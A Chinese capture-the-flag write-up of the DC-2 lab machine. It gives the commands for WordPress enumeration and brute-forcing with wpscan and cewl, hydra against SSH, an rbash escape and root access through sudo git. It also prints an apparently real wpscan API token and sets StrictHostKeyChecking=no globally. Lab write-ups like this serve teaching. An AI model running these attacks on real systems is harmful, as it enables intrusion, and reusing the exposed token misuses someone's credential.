靶机:192.168.2.134 kali:192.168.2.132
首先利用arp-scan工具扫描存活主机
arp-scan -l
再利用nmap扫描端口
nmap -A -T4 -p 0-65535 -sV 192.168.2.134
可以看到开放了一个80端口,wordpress4.7.10版本的cms,ssh端口修改为7744
Did not follow redirect to http://dc-2/
说明没有定向到dc-2这个域名,域名解析有问题,先打开网页看看
这里修改hosts文件
vim /etc/hosts
再输入192.168.2.134 dc-2即可,保存重新进入
拿取第一个flag
大概意思是你的字典可能没用,你需要cewl,密码越多越好但你不一定能得到全部,如果一个用户没有拿到flag,那你则需要登陆下一个
了解cewl,发现他是kali一款通过爬取网站关键短句生成密码本,结合这是wordpress的站。wpscan可以爆破账号密码
首先先利用wpscan扫描一下漏洞
wpscan --api-token se5dzb2kuZqWOYN3gK91L5asNOu1jNA0mdzDgSgndc8 --url http://dc-2
百度发现worldpress下有一个xmlrpc.php的文件,本身是用来支持worldpress和其它系统通信的规范,然而每次发送数据包都会带上身份验证,就很容易被爆破 wpscan的爆破功能也是出于此
扫描目录,并验证发现确实存在
那么则可以爆破利用
结合之前的cewl:
cewl http://dc-2 -w pass.txt
wpscan --api-token se5dzb2kuZqWOYN3gK91L5asNOu1jNA0mdzDgSgndc8 --url http://dc-2 --enumerate u
用户名爆破出来
admin,jerry,tom
密码则写入了pass.txt
准备完成利用wpscan完成爆破
wpscan --api-token se5dzb2kuZqWOYN3gK91L5asNOu1jNA0mdzDgSgndc8 --url http://dc-2 -U 1.txt -P pass.txt
先登录上后台,worldpress的后台在wp-admin
tom无信息,在登陆上jerry
找到flag
不能用worldpress走捷径,还有另外一个方法。想了半天看wp发现是之前留意但又忽视了的位置,ssh
这里先尝试hydra爆破一下
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 11 -s 7744 ssh://192.168.2.134
无果,又绕停了,再看一眼wp发现用的是之前爆破的账号,脑袋真的转不过来。
利用ssh登录
报错,处理方式:ssh在连接时会有一个验证,会询问发起人是否信任ssh连接请求,不信任则拒绝连接。在ssh连接过程中会生成公私钥,如果对方发送的公钥与/root/.ssh/Know_hosts文件的保存不一致,就会拒绝连接。只需要:
vim /etc/ssh/ssh_config
在最底下加上 StrictHostKeyChecking=no (不校验身份直接连接)
这样就可以正常连接了
连接上但无法执行命令,原因是这个rbash会限制命令,百度继续检索绕过
https://blog.csdn.net/qq_43168364/article/details/111830233
在这篇博客下,发现
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 利用bash_cmds自定义一个shell
$ export PATH=$PATH:/bin/ # 添加环境变量
$ export PATH=$PATH:/usr/bin
这样的绕过方式,之后便可以执行
$ ls
flag3.txt usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
看到这句话我以为是给tom提权,su。
tom is not in the sudoers file. This incident will be reported.
tom不在管理员文件之中,于是切换到jerry
su jerry。
ls cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now.
Go on - git outta here!!!!
接下来就是提权,这里给出信息是-git
find / -user root -perm -4000 -print 2>/dev/null
可以检索linux存在root权限的
也可以用sudo -l查看当前用户可执行命令
其中git是可利用的,结合前面提示就是这里了
百度发现git可以通过
sudo git -p help
然后输入!/bin/bash就可以得到一个root权限的shell
cd /root cat final-flag.txt
到此就通关了
原文始发于微信公众号(shadowsec):DC-2实战演练
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论